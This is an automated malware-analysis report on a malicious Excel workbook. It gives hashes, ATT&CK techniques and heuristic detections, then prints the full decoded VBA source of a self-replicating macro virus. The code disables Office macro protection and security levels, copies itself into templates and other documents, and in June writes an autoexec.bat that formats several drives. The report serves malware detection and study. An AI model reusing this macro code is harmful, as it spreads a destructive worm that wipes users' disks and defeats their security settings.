Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 efff1a3a7105d11b…

MALICIOUS

Office (OLE)

39.0 KB Created: 2014-04-16 03:03:20 Authoring application: Microsoft Excel First seen: 2015-09-17
MD5: 2c6df8dc917bd3a18b617b593405a07b SHA-1: b8d28e0aacd0b08024653f6cfd6e567056e74208 SHA-256: efff1a3a7105d11b5b398c8819ba9046df7047ba07bfbc8d8e72a1cfc337b7a7
328 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample is an Excel document containing a list of names and numbers, likely intended as a lure. It contains a Document_Open VBA macro that attempts to disable macro security settings and replicate itself by writing its code to other VBA projects. This behavior is indicative of a macro-based malware dropper.

Heuristics 7

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set xlApp = CreateObject("Excel.Application")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set WordObj = GetObject(, "Word.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6006 bytes
SHA-256: 272ac38b03404c3e174fab032349512f9a5dc293516c6cca6392cbebb035eafa
Detection
ClamAV: Win.Trojan.Insert-9
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'HAHA!
Private Sub Document_Open()
On Error Resume Next
Options.VirusProtection = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
Application.ShowVisualBasicEditor = False
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
End If
 If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Excel\Security", "Level") <> "" Then
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Excel\Security", "Level") = 1&
End If

 For Each mItem In CommandBars("Tools").Controls
If mItem.Caption = "选项(&O)..." Then
mItem.Enabled = False
End If
If mItem.Caption = "模板和加载(&I)..." Then
mItemmItem.Enabled = False
End If
If mItem.Caption = "自定义(&C)..." Then
mItem.Enabled = False
End If
If mItem.Caption = "宏(&M)" Then
mItem.Enabled = False
End If
Next mItem
Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set TT = Templates(1).VBProject.VBComponents(1).CodeModule
Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
If AD.Lines(1, 1) <> "'HAHA!" Then
AD.DeleteLines 1, AD.CountOfLines
AD.InsertLines 1, TT.Lines(1, TT.CountOfLines)
If AD.Lines(1, 1) <> "'HAHA!" Then
AD.InsertLines 1, NT.Lines(1, NT.CountOfLines)
End If
End If
If NT.Lines(1, 1) <> "'HAHA!" Then
NT.DeleteLines 1, NT.CountOfLines
NT.InsertLines 1, AD.Lines(1, AD.CountOfLines)
End If
Set xlApp = CreateObject("Excel.Application")
If UCase(Dir(xlApp.Application.StartupPath + "\Book1.")) <> UCase("BOOK1") Then
Set Book1Obj = xlApp.Workbooks.Add
Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, NT.Lines(1, NT.CountOfLines)
Book1Obj.SaveAs xlApp.Application.StartupPath & "\Book1."
Book1Obj.Close
End If
xlApp.Quit
If Month(Now()) = 6 Then
O = "C:\Autoexec.bat"
Open O For Output As 1
Print #1, "@ echo off"
Print #1, "format c: /autoexec/u"
Print #1, "format d: /autoexec/u/select"
Print #1, "format e: /autoexec/u/select"
Print #1, "format f: /autoexec/u/select"
Print #1, "format g: /autoexec/u/select"
Print #1, "format h: /autoexec/u/select"
Print #1, "format j: /autoexec/u/select"
Print #1, "format l: /autoexec/u/select"
Close
End If
End Sub
Private Sub Document_New()
Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
Set TT = Templates(1).VBProject.VBComponents(1).CodeModule
Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
If AD.Lines(1, 1) <> "'HAHA!" Then
AD.DeleteLines 1, AD.CountOfLines
AD.InsertLines 1, TT.Lines(1, TT.CountOfLines)
If AD.Lines(1, 1) <> "'HAHA!" Then
AD.InsertLines 1, NT.Lines(1, NT.CountOfLines)
End If
End If
If NT.Lines(1, 1) <> "'HAHA!" Then
NT.DeleteLines 1, NT.CountOfLines
NT.InsertLines 1, AD.Lines(1, AD.CountOfLines)
End If

End Sub

Private Sub Workbook_Deactivate()
On Error Resume Next
Set AW = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
Set TW = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
If UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1" Then
Set xlApp = CreateObject("Excel.Application")
Set Book1Obj = xlApp.Workbooks.Add
Book1Obj.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, TW.Lines(1, TW.CountOfLines)
Book1Obj.SaveAs Filename:=Application.StartupPath & "\Book1.", FileFormat:=xlNormal, AddToMru:=False
Book1Obj.Close
xlApp.Quit
Set WordObj = GetObject(, "Word.Application")
If WordObj = "" Then
Set WordObj = CreateObject("Word.Application")
WQuit = True
End If
 If WordObj.System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Excel\Security", "Level") <> "" Then
WordObj.System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Excel\Security", "Level") = 1&
End If
Set NT = WordObj.NormalTemplate.VBProject.VBComponents(1).CodeModule
WordObj.Options.SaveNormalPrompt = False
If NT.Lines(1, 1) <> "'HAHA!" Then
NT.DeleteLines 1, NT.CountOfLines
NT.InsertLines 1, TW.Lines(1, TW.CountOfLines)
End If
Set NT = Nothing
If WQuit = True Then WordObj.Quit
End If
If AW.Lines(1, 1) <> "'HAHA!" Then
AW.InsertLines 1, TW.Lines(1, TW.CountOfLines)
End If
If Month(Now()) = 6 Then
O = "C:\Autoexec.bat"
Open O For Output As 1
Print #1, "@ echo off"
Print #1, "format c: /autoexec/u"
Print #1, "format d: /autoexec/u/select"
Print #1, "format e: /autoexec/u/select"
Print #1, "format f: /autoexec/u/select"
Print #1, "format g: /autoexec/u/select"
Print #1, "format h: /autoexec/u/select"
Print #1, "format j: /autoexec/u/select"
Print #1, "format l: /autoexec/u/select"
Close
End If
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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